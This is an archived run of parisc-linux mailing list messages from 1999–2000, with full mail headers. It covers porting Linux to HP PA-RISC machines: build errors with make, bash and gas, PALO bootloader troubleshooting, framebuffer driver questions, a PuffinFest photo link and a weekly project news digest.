X-Trace: ger.gmane.org 1416618874 31881 80.91.229.3 (22 Nov 2014 01:14:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:34 +0000 (UTC)
To: PARISC-LINUX@THEPUFFINGROUP.COM
Original-X-From: BOSCHINI@ICIL64.CILEA.IT  Mon Apr  3 08:14:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA26646
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Apr 2000 08:14:56 -0600
Original-Received: (qmail 9418 invoked by uid 15267); 3 Apr 2000 14:14:51 -0000
Delivered-To: thepuffi-PARISC-LINUX@THEPUFFINGROUP.COM
Original-Received: (qmail 9387 invoked from network); 3 Apr 2000 14:14:50 -0000
Original-Received: from icil64.cilea.it (131.175.1.5)
  by mailserv2.iuinc.com with SMTP; 3 Apr 2000 14:14:50 -0000
Original-Received: from ICIL64.CILEA.IT by ICIL64.CILEA.IT (PMDF V5.2-31 #32154)
 id <01JNSZTI58300010PS@ICIL64.CILEA.IT> for PARISC-LINUX@THEPUFFINGROUP.COM;
 Mon, 3 Apr 2000 16:14:18 MET-01DST
X-VMS-To: PARISC-LINUX@THEPUFFINGROUP.COM
Xref: news.gmane.org gmane.linux.ports.parisc:7156

hello all, 

I have another stupid question. 

I partally succeeded in gmak-ing oldconfig and dep, except for those 

/bin/bash: invalid character 45 in exportstr for DRIVERS-y 
/bin/bash: invalid character 45 in exportstr for DRIVERS- 
/bin/bash: invalid character 45 in exportstr for DRIVERS-m 
/bin/bash: invalid character 45 in exportstr for DRIVERS-n 

errors.

I then did a gmake vmlinux, in order to try the PALO build as reported in
palo's docs, getting the same errors, even though gmake goes on
till what looks like a reasonable end.

I downloaded a ramdisk.bin and moved to compile PALO. 

I do a 

bash-2.04# gmake

and this is what happens:

echo NATIVE=/TMP/palo/../linux-2.3
NATIVE=/TMP/palo/../linux-2.3
cd palo && make
        echo "char *bld_info = \"`whoami`@`hostname` `date`\";" > build.c
        gcc -O -I/TMP/palo/../linux-2.3/include -I../include -I../lib -c -o
build.o build.c
        rm -f build.c
        gcc -O -I/TMP/palo/../linux-2.3/include -I../include -I../lib  -o palo
diskpart.o    elf64.o        load.o        paloio.o      som.o  elf32.o       
error.o       palo.o build.o
        rm -f build.o
cd ipl && make
Make: Don't know how to make crt0.o.  Stop.
gmake: *** [makeipl] Error 1

any help ? 

I installed linux more than once on x86 boioxes with no problem, but I am a
little confused here....

thanks in advance, 

Matteo Boschini


From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ALPHA cross compile -- progress
Date: Mon, 3 Apr 2000 11:06:37 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0004031058540.21769-100000@mojo.calyx.net>
References: <Pine.LNX.4.10.10003252208590.28525-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618874 31886 80.91.229.3 (22 Nov 2014 01:14:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Mon Apr  3 09:06:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA27648
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Apr 2000 09:06:40 -0600
Original-Received: (qmail 16443 invoked by uid 15267); 3 Apr 2000 15:06:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16427 invoked from network); 3 Apr 2000 15:06:39 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 3 Apr 2000 15:06:39 -0000
Original-Received: (qmail 31708 invoked from network); 3 Apr 2000 15:06:37 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (n9eesiqq1gmgpyxml7tf@208.132.136.2)
  by mail.calyx.net with SMTP; 3 Apr 2000 15:06:37 -0000
In-Reply-To: <Pine.LNX.4.10.10003252208590.28525-100000@morph.net>
Xref: news.gmane.org gmane.linux.ports.parisc:7157



OK, so I got over my last problem by doing a more thorough
search in the gas sources for the BFD64 macro and undeffing
it everywhere...  Now I can compile and install gcc (my
compile doesn't fail on libgcc1 like the recipe says -- maybe
because I have the linux devel environment?)

Now things die during kernel compilation:
hppa1.1-linux-gcc -I/usr/src/parisc/linux-2.3/include  -D__KERNEL__
-I/usr/src/parisc/linux-2.3/include  -c -o interruption.o interruption.S
interruption.S: Assembler messages:
interruption.S:257: Error: Value of -3221225472 too large for field of 4
bytes at 36
interruption.S:257: Error: Value of -3221225472 too large for field of 4
bytes at 40
interruption.S:257: Error: Value of -3221225472 too large for field of 4
bytes at 56
make[1]: *** [interruption.o] Error 1

I note that compiling gas issues one warning about a pointer/integer 
sizes in tc-hppa.c.  Should I be looking at that for the cause, or
elsewhere?

--
Brian S. Julin



From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gyula Matics" <gyula_matics@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO on HP 735 10.20
Date: Mon, 3 Apr 2000 17:11:10 +0200
Lines: 7
Approved: news@gmane.org
Message-ID: <00ab01bf9d7e$d8d23c40$a94abc0f@hungary.hp.com>
References: <01JNSZTI58320010PS@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618874 31888 80.91.229.3 (22 Nov 2014 01:14:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:34 +0000 (UTC)
To: <BOSCHINI@ICIL64.CILEA.IT>, <PARISC-LINUX@thepuffingroup.com>
Original-X-From: gyula_matics@hp.com  Mon Apr  3 09:13:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA28003
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Apr 2000 09:13:09 -0600
Original-Received: (qmail 21619 invoked by uid 15267); 3 Apr 2000 15:13:08 -0000
Delivered-To: thepuffi-PARISC-LINUX@thepuffingroup.com
Original-Received: (qmail 21600 invoked from network); 3 Apr 2000 15:13:07 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 3 Apr 2000 15:13:07 -0000
Original-Received: from bimbo.hungary.hp.com (bimbo.hungary.hp.com [15.188.73.101])
	by palrel1.hp.com (Postfix) with ESMTP id 0CCB8307
	for <PARISC-LINUX@thepuffingroup.com>; Mon,  3 Apr 2000 08:12:59 -0700 (PDT)
Original-Received: from pcmatics (pcmatics.hungary.hp.com [15.188.74.169]) by bimbo.hungary.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id RAA22353; Mon, 3 Apr 2000 17:11:17 +0200 (METDST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:7158

At the lower level makefiles It is still picking up hp make instead of the
GNU one.
Don't use 'gmake' but alias make to gmake or but it in the PATH before the
hp make.

Gyula


From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Photos!
Date: Mon, 3 Apr 2000 21:01:19 -0400
Lines: 5
Approved: news@gmane.org
Message-ID: <20000403210119.Y30107@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618875 31892 80.91.229.3 (22 Nov 2014 01:14:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Mon Apr  3 18:01:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA32381
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Apr 2000 18:01:22 -0600
Original-Received: (qmail 12871 invoked by uid 15267); 4 Apr 2000 00:01:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12848 invoked from network); 4 Apr 2000 00:01:20 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 4 Apr 2000 00:01:20 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id VAA17350
	for parisc-linux@thepuffingroup.com; Mon, 3 Apr 2000 21:01:19 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7159


I've put up some photos from the recent PuffinFest at Fort Collins at
http://puffin.external.hp.com/puffinfest/ .  Enjoy, I'll put out a
newsletter tomorrow.


From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Shack <sshack@cln.etc.bc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Nextstep artist driver/artist stuff.
Date: Mon, 03 Apr 2000 17:58:12 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <38E93E24.A09E13B@cln.etc.bc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618875 31898 80.91.229.3 (22 Nov 2014 01:14:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sshack@cln.etc.bc.ca  Mon Apr  3 18:47:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA00655
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Apr 2000 18:47:14 -0600
Original-Received: (qmail 10171 invoked by uid 15267); 4 Apr 2000 00:47:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10160 invoked from network); 4 Apr 2000 00:47:13 -0000
Original-Received: from learn.etc.bc.ca (142.44.5.2)
  by mailserv2.iuinc.com with SMTP; 4 Apr 2000 00:47:13 -0000
Original-Received: from cln.etc.bc.ca (vrarvs@24.65.187.232.bc.wave.home.com [24.65.187.232])
	by learn.etc.bc.ca (8.9.3/8.9.3) with ESMTP id RAA24825
	for <parisc-linux@thepuffingroup.com>; Mon, 3 Apr 2000 17:45:36 -0700 (PDT)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7160

Hello everyone,
    I've recently gone on a small mission and installed NEXTSTEP on my
712. The mission was to A) have a nice usable OS on this system since
hp-ux leaves a lot to be desired and B) Hack at the artist driver. From
what i've learned so far in my all of one day with it is that the driver
for linux and the driver for nextstep are very similar.
So much so that they both have setup routines called in the same sort of
context. Both have supported mode lists in the same way and both operate
as framebuffers. This is a good thing.

    My question is to anyone reading the mailing list: Does anyone have
any information on nextsteps fb, fb artist driver or the artist board at
all. I've gathered some information but I can always use more. prumpf
has gotten a driver working in 1bpp. But i'd like to get more working...



Thanks
Steve Shack


From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomasz Korycki <tkorycki@sprint.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some hardware...
Date: Tue, 04 Apr 2000 00:44:42 -0400
Lines: 7
Approved: news@gmane.org
Message-ID: <1.5.4.32.20000404044442.006e12cc@pop3.sprint.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618875 31902 80.91.229.3 (22 Nov 2014 01:14:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tkorycki@sprint.ca  Mon Apr  3 22:44:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA02340
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Apr 2000 22:44:44 -0600
Original-Received: (qmail 18734 invoked by uid 15267); 4 Apr 2000 04:44:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18718 invoked from network); 4 Apr 2000 04:44:43 -0000
Original-Received: from cr592112-a.etob1.on.wave.home.com (HELO 24.112.191.14) (24.112.191.14)
  by mailserv2.iuinc.com with SMTP; 4 Apr 2000 04:44:43 -0000
Original-Received: from flow4 (flow4.flow.north.net [198.52.32.250])
	by 24.112.191.14 (8.9.3/8.9.3) with SMTP id AAA06742
	for <parisc-linux@thepuffingroup.com>; Tue, 4 Apr 2000 00:44:42 -0400
X-Sender: tkorycki@pop3.sprint.ca
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
X-Priority: 1 (Highest)
Xref: news.gmane.org gmane.linux.ports.parisc:7161

  I just saw a bunch of 712/80+64MB+1GB+VRAM + (some) floppy. I think I can
get them fairly cheap. Anybody interested? Obviously I can haggle lower if I
buy more. Now, even if someone is, I will not take it as commitment, since I
didn't give the price yet. So, just let me know if You'd like to know the price.
  Also, since it doesn't really concern the linux port, answer by email,
lets not clog the wires too much...


From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: BOSCHINI@ICIL64.CILEA.IT
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO on HP 735 10.20
Date: Tue, 04 Apr 2000 11:22:15 +0000 (MET-01DST)
Lines: 31
Approved: news@gmane.org
Message-ID: <01JNU29FX02A0010AT@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416618876 31909 80.91.229.3 (22 Nov 2014 01:14:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:36 +0000 (UTC)
Cc: PARISC-LINUX@THEPUFFINGROUP.COM
To: gyula_matics@hp.com
Original-X-From: BOSCHINI@ICIL64.CILEA.IT  Tue Apr  4 03:22:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA04217
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Apr 2000 03:22:55 -0600
Original-Received: (qmail 32726 invoked by uid 15267); 4 Apr 2000 09:22:54 -0000
Delivered-To: thepuffi-PARISC-LINUX@THEPUFFINGROUP.COM
Original-Received: (qmail 32712 invoked from network); 4 Apr 2000 09:22:54 -0000
Original-Received: from icil64.cilea.it (131.175.1.5)
  by mailserv2.iuinc.com with SMTP; 4 Apr 2000 09:22:54 -0000
Original-Received: from ICIL64.CILEA.IT by ICIL64.CILEA.IT (PMDF V5.2-31 #32154)
 id <01JNU29FWUEO0010AT@ICIL64.CILEA.IT> for PARISC-LINUX@THEPUFFINGROUP.COM;
 Tue, 4 Apr 2000 11:22:16 MET-01DST
X-VMS-To: IN%"gyula_matics@hp.com"
X-VMS-Cc: PARISC-LINUX@THEPUFFINGROUP.COM
Xref: news.gmane.org gmane.linux.ports.parisc:7162

I already had gmake found before HP's make in my path. 

If I do a make --version, I get gmake's output.

I even added an alias to it, but keep getting the same errors:

/bin/bash: invalid character 45 in exportstr for DRIVERS-y
/bin/bash: invalid character 45 in exportstr for DRIVERS-
/bin/bash: invalid character 45 in exportstr for DRIVERS-m
/bin/bash: invalid character 45 in exportstr for DRIVERS-n

which, to my (poor) understanding have nothing to do with make/gmake
but with bash parsing something.

As for the palo build, having assured that I really use gmake, I keep getting
the same error:

Make: Don't know how to make crt0.o.  Stop.
gmake: *** [makeipl] Error 1

On the other hand, I tried make-ing from ipl, and everything was fine...
Then I tried the make PA=your/palinux/source/tree lifimage and everything seems
fine....

Finally, make palo from linux-2.3, gose fine.

I'll let you know how the rest goes ....

Matteo Boschini



From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building bin-utils and gcc on HP735...
Date: Tue, 04 Apr 2000 10:25:04 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <E12cW8W-0006p3-00@endor.fc.hp.com>
References: <01JNOHLGY86Q000XJ1@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618876 31912 80.91.229.3 (22 Nov 2014 01:14:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:36 +0000 (UTC)
Cc: PARISC-LINUX@thepuffingroup.com, QUATTRONE@cilea.it
To: BOSCHINI@ICIL64.CILEA.IT
Original-X-From: bame@endor.fc.hp.com  Tue Apr  4 10:27:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA08543
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Apr 2000 10:27:01 -0600
Original-Received: (qmail 22197 invoked by uid 15267); 4 Apr 2000 16:27:00 -0000
Delivered-To: thepuffi-PARISC-LINUX@thepuffingroup.com
Original-Received: (qmail 22184 invoked from network); 4 Apr 2000 16:27:00 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 4 Apr 2000 16:27:00 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel1.hp.com (Postfix) with ESMTP id 097391F26
	for <PARISC-LINUX@thepuffingroup.com>; Tue,  4 Apr 2000 12:27:00 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12cW8W-0006p3-00; Tue, 04 Apr 2000 10:25:04 -0600
In-reply-to: Your message of "Fri, 31 Mar 2000 10:51:34 GMT."
             <01JNOHLGY86Q000XJ1@ICIL64.CILEA.IT> 
Xref: news.gmane.org gmane.linux.ports.parisc:7163


My guess is your build problems are still based on using some of the
HP tools instead of the GNU ones.  Some things to check:

    when your build asks for 'sh' it should get 'bash'

    when your build asks for 'make' it should get gnu make

    flex and bison you already know about.

Aliases aren't passed through makefiles and often not through shell
scripts either, so you'll have to do this with $PATH magic and/or
symbolic links.  I built/installed bash, make, flex, bison, binutils,
gcc, and a bunch of other GNU tools (ls, find, tar, gzip, patch) into
/opt/puffin and put /opt/puffin/bin first in my $PATH.

Your difficulties building palo strongly indicate that HP make is
sometimes being used.  palo/palo/Makefile and palo/ipl/Makefile
will work with either HP make or GNU make, but palo/Makefile will
only work with GNU make.  When you do 'make palo' from linux-2.3,
the master make eventually does 'cd ../palo; make lifimage', and
it appears that perhaps this invocation of make is getting the HP one.

Sooner or later it is probably a good idea to start using GNU versions
of all the tools referenced in the makefiles and scripts if you have
the space to do so.

Happy building!

	-Paul Bame


From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building bin-utils and gcc on HP735...
Date: Tue, 4 Apr 2000 13:44:57 -0500 (CDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200004041844.NAA11438@osiris.silug.org>
References: <E12cW8W-0006p3-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618876 31913 80.91.229.3 (22 Nov 2014 01:14:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: steve@osiris.silug.org  Tue Apr  4 12:45:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA09736
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Apr 2000 12:45:22 -0600
Original-Received: (qmail 13398 invoked by uid 15267); 4 Apr 2000 18:45:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13374 invoked from network); 4 Apr 2000 18:45:20 -0000
Original-Received: from pm3-isdn0-187.apci.net (HELO osiris.silug.org) (206.29.113.187)
  by mailserv2.iuinc.com with SMTP; 4 Apr 2000 18:45:20 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id NAA11438
	for parisc-linux@thepuffingroup.com; Tue, 4 Apr 2000 13:44:57 -0500
In-Reply-To: <E12cW8W-0006p3-00@endor.fc.hp.com> from Paul Bame at "Apr 4, 2000
 10:25:04 am"
X-Mailer: ELM [version 2.4ME+ PL72 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7164

Paul Bame said:
> Sooner or later it is probably a good idea to start using GNU versions
> of all the tools referenced in the makefiles and scripts if you have
> the space to do so.

I should note that there are HP-UX 10.20 and 11.0 binary depot
packages of many GNU utilities at

    ftp://puffin.external.hp.com/pub/parisc/binaries/depot/

Everything installs to /usr/local/bin, so you can just put that at the
beginning of your PATH, and everything should be happy.  (Oh, before
installing any of it, you might want to "chmod -R go-w /usr/local".
The default permissions are insane.)

Feel free to send requests for other stuff.  (I'll try to start
building packages for the CVS gcc, binutils, etc. sometime soon.  I'm
still recovering from switching jobs and a move, so I'm way behind on
everything...)

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] PA RISC 1.1 instruction set documents.
Date: Wed, 17 Mar 1999 17:08:48 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <199903172208.RAA25587@lucifier.dial-up.user.akula.net>
References: <Pine.LNX.3.96.990317165842.31802n-100000@devserv.devel.redhat.com>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618877 31919 80.91.229.3 (22 Nov 2014 01:14:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:37 +0000 (UTC)
Cc: hppa-linux@thepuffingroup.com
To: hppa-linux@thepuffingroup.com
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Wed Mar 17 17:29:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA32386
	for <hppa-linux@sod.res.cmu.edu>; Wed, 17 Mar 1999 17:29:02 -0500
Original-Received: (qmail 15367 invoked by uid 15267); 17 Mar 1999 22:28:19 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 15360 invoked from network); 17 Mar 1999 22:28:18 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 17 Mar 1999 22:28:18 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.2/8.9.2) id RAA25587;
	Wed, 17 Mar 1999 17:08:48 -0500 (EST)
In-Reply-To: <Pine.LNX.3.96.990317165842.31802n-100000@devserv.devel.redhat.com> from Alex deVries at "Mar 17, 99 05:00:11 pm"
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7165

re
does not seem to exist anymore.
no searches provide a link to it anymore );
could it be that 1.1 is no longer supported?
i can share the pdf file if needed tho.
cu

Making, drinking tea and reading an opus magnum from Alex deVries:
> 
> The pa-risc instruction set documents that used to be correctly linked
> on the project WWW pages have apparantly moved.
> 
> The URL used to be:
> http://www.hp.com/nsa/pa1.1/html/acd-1.html
> 
> Does anyone know where that's gone to?  Searches I try give me a LOT of
> hits.
> 
> - Alex
> 
> -- 
> Alex deVries <puffin@redhat.com>     
> Red Hat Contrib Net maintainer          
> Ottawa, Canada  
> HPPA/Linux Porting Team
> 
> 
> -------------------------------------------------------------------------
> To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:12:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Weekly News [31/Mar/2000]
Date: Thu, 6 Apr 2000 02:31:00 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <20000406023100.F30107@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618877 31927 80.91.229.3 (22 Nov 2014 01:14:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Wed Apr  5 23:31:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA26634
	for <parisc-linux@puffin.external.hp.com>; Wed, 5 Apr 2000 23:31:04 -0600
Original-Received: (qmail 4247 invoked by uid 15267); 6 Apr 2000 05:31:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4223 invoked from network); 6 Apr 2000 05:31:02 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 6 Apr 2000 05:31:02 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id CAA23928
	for parisc-linux@thepuffingroup.com; Thu, 6 Apr 2000 02:31:01 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7166


PA-RISC/Linux Weekly News - 31st March 2000               vol 2, issue 10
       
   This Week:
       News & Announcements
       Mailing List Descriptions
       This Week's CVS Activity
       State of the Port Summary
       
News & Announcements

     * Puffinfest Fort Collins
            From Saturday 24th of March to Wednesday 29th March, a flock of
            Linux/PARISC developers gathered at the Hewlett-Packard Fort
            Collins site to discuss various issues related to the port.
            We have pictures [http://puffin.external.hp.com/puffinfest/]
     * Linus 2.3.99pre1 merge
            While at the fest, we merged Linus' 2.3.99pre1 tree into our
            tree. Thanks to everyone who participated in the merge. This
            gets us through the softnet merge, which meant we couldn't
            pull later drivers into our tree. Hopefully there won't be
            any further drastic modifications of the internal APIs before
            2.4 is released. pre2 has been unstable for some people and
            pre3 has broken root NFS, so pre1 was as far as we wanted to
            go for the moment.
       
This Week's CVS Activity

     * The bulk of checkins came from the 2.3.99pre1 merge
     * We changed the assembler syntax slightly for compatibility with
       other ELF platforms.
     * Palo received some fixes.
